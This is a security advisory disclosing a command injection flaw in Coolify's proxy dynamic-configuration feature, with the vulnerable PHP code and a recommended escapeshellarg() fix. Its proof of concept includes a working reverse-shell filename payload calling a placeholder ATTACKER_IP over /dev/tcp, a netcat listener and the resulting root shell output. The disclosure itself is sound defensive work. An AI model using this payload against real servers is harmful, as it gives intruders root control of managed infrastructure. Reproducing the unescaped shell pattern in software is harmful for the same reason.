Summary

An authenticated command injection vulnerability in the Dynamic Proxy Configuration functionality allows users with server management permissions to execute arbitrary commands as root on managed servers. The fileName parameter is passed directly to shell commands without sanitization, enabling full remote code execution on the host system.

Details

Vulnerable File: app/Livewire/Server/Proxy/NewDynamicConfiguration.php
Vulnerable Code (lines 68-83):

$proxy_path = $this->server->proxyPath();
$file = "{$proxy_path}/dynamic/{$this->fileName}";
if ($this->newFile) {
    $exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server);
    if ($exists == 1) {
        $this->dispatch('error', 'File already exists');
        return;
    }
}
// ...
$base64_value = base64_encode($this->value);
instant_remote_process([
    "echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null",
], $this->server);

The $this->fileName parameter undergoes only basic validation ('fileName' => 'required') at line 44, with no shell metacharacter filtering or use of escapeshellarg(). When concatenated into shell commands executed via instant_remote_process(), attackers can inject arbitrary commands using command substitution ($(...)) or other shell metacharacters.
Additionally, app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php line 34 contains the same vulnerability in the delete function:

$file = str_replace('|', '.', $fileName);
instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server);

The str_replace('|', '.') only replaces pipe characters, leaving command substitution and other injection vectors unmitigated.
Due to Coolify's sudo injection mechanism in bootstrap/helpers/sudo.php, which automatically prepends sudo to command substitutions, all injected commands execute with root privileges regardless of the SSH user configuration.

PoC

Prerequisites:

Coolify v4.0.0-beta.450 or earlier
Authenticated user with server management permissions
A configured server with proxy (Traefik or Caddy)

Steps to reproduce:

Start a netcat listener on attacker machine:

nc -lvnp 9999

2. Log into Coolify and navigate to:
   `Servers → [Your Server] → Proxy → Dynamic Configurations`

3. Click "+ Add" to create a new dynamic configuration

4. Enter the following:
   - **Filename:** `test$(bash -i >& /dev/tcp/ATTACKER_IP/9999 0>&1)`
   - **Content:** `# test configuration`

5. Click Save

6. A root shell is received on the attacker's listener:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 40192
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
root@hostname:~#

**Alternative payload using backticks:**

testbash -i >& /dev/tcp/ATTACKER_IP/9999 0>&1

Impact

Remote Code Execution: Attackers can execute arbitrary commands on managed servers
Root Privilege: All commands execute as root due to Coolify's sudo injection mechanism
Full Server Compromise: Attackers gain complete control of managed infrastructure
Container Escape: Access to Docker socket (/var/run/docker.sock) enables container escape and control of all containers
Lateral Movement: Compromised servers can be used to attack other managed resources
Data Breach: Access to all databases, applications, and secrets managed by Coolify

Who is affected:

All Coolify self-hosted instances running v4.0.0-beta.450 or earlier
Any organization using Coolify to manage server infrastructure
All servers connected to a compromised Coolify instance

Recommended Fix:
Apply escapeshellarg() to the $fileName parameter before use in shell commands:

$escapedFileName = escapeshellarg($this->fileName);
$file = "{$proxy_path}/dynamic/{$escapedFileName}";

Additionally, implement input validation to restrict filenames to alphanumeric characters, dots, dashes, and underscores only.